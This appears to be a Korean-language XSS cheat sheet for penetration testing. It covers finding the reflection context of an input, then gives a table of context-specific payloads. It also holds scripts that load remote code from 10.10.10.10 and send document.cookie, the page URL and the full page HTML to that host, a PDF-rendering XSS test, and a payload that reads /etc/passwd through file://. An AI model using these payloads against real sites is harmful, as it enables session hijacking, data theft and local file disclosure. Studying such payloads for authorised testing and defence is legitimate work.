XSS 일반적 흐름
- 입력필드 확인 → 중복되지 않는 고유한 문자열(
zzCUBANAasd) 넣기 - raw HTTP response에서 입력 문자열 주변 컨텍스트 확인 (curl 혹은 burpsuite 활용..)
- 컨텍스트 확인 후 XSS 페이로드 테스트
| 컨텍스트 | 소스 예시 | 페이로드 예시 |
|---|---|---|
| HTML body (필터링 X) | <p>USER_INPUT</p> | <script>alert(1)</script> |
| HTML body (script 태그 필터링) | <p>USER_INPUT</p> | <img src=x onerror=alert(1)> /svg onload=alert(1) |
| HTML 속성 (Double quote) | value="USER_INPUT" | "><script>alert(1)</script> |
| HTML 속성 (Single quote) | value='USER_INPUT' | '><script>alert(1)</script> |
| JS 문자열 | var x = "USER_INPUT" | ";alert(1);// |
| Basic XSS |
<img src=x onerror=alert(window.origin)>
<script>alert(1)</script>Load Remote Script
<script src="http://10.10.10.10/script.js"></script>
"><script src='http://10.10.10.10/script.js'></script>#1 script.js:
new Image().src='http://10.10.10.10/?c='+document.cookie#2 script.js
fetch('http://10.10.10.10/?c='+document.cookie)#3 script.js
fetch('http://10.10.10.10/', {
method: 'POST',
body: JSON.stringify({
url: location.href,
cookie: document.cookie,
html: document.documentElement.outerHTML
})
})PDF 렌더링 XSS
- 간단한 테스트
<script>document.write('VULNERABLE')</script>- 렌더링 결과에
<script>등의 태그 없이VULNERABLE만 나온다면 JS가 동작한 것
로컬 파일 읽기
<script>
x=new XMLHttpRequest;
x.onload=function(){
document.write(this.responseText)};
x.open("GET","file:///etc/passwd");
x.send();
</script>